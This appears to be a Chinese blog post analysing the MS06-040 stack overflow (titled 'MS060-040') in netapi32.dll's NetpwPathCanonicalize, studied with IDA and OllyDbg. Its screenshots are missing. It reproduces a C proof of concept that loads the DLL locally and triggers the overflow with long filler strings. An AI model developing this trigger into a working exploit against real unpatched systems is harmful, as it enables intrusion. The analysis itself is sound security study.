经典栈溢出之MS060-040漏洞分析

　　找了好久才找到Win 2000 NetApi32.dll样本，下面我对这个经典栈溢出进行一下分析，使用IDA打开NetApi32.dll，问题函数：NetpwPathCanonucalize。实验环境:win xp sp3,ollydbg,IDA。exp编译工具：VC++ 6.0

经典栈溢出之MS060-040漏洞分析

其中的子函数存在溢出：

汇编代码注释：

经典栈溢出之MS060-040漏洞分析

两个溢出点，但是第一个无法利用：

经典栈溢出之MS060-040漏洞分析

找到一个网上的POC：

int main()

{

     char Str[0x320];

	 char lpWideCharStr[0x440];

	 int  arg_8 = 0x440;

	 char Source[0x100];

	 long arg_10 = 44;

	 HINSTANCE LibHandle;

	 MYPROC Func;

	 char DllName[] = "./netapi32.dll";

	 LibHandle = LoadLibrary(DllName);

	 if( LibHandle == NULL)

	 {

		  MessageBox(0, "Can't Load DLL!", "Warning", 0);

		  FreeLibrary(LibHandle);

	 }

	 Func = (MYPROC)GetProcAddress(LibHandle, "NetpwPathCanonicalize");

	 if ( Func == NULL )

	 {

		  MessageBox(0, "Can't Load Function Address!", "Warning", 0);

		  FreeLibrary(LibHandle);

	 }

	 memset(Source, 0, sizeof(Source));

	 memset(Source, 'b', sizeof(Source)-2);

	 memset(Str, 0, sizeof(Str));

	 memset(Str, 'a', sizeof(Str)-2);

	 (Func)(Str, lpWideCharStr, arg_8, Source, &arg_10, 0);

	 FreeLibrary(LibHandle);

     return 0;

}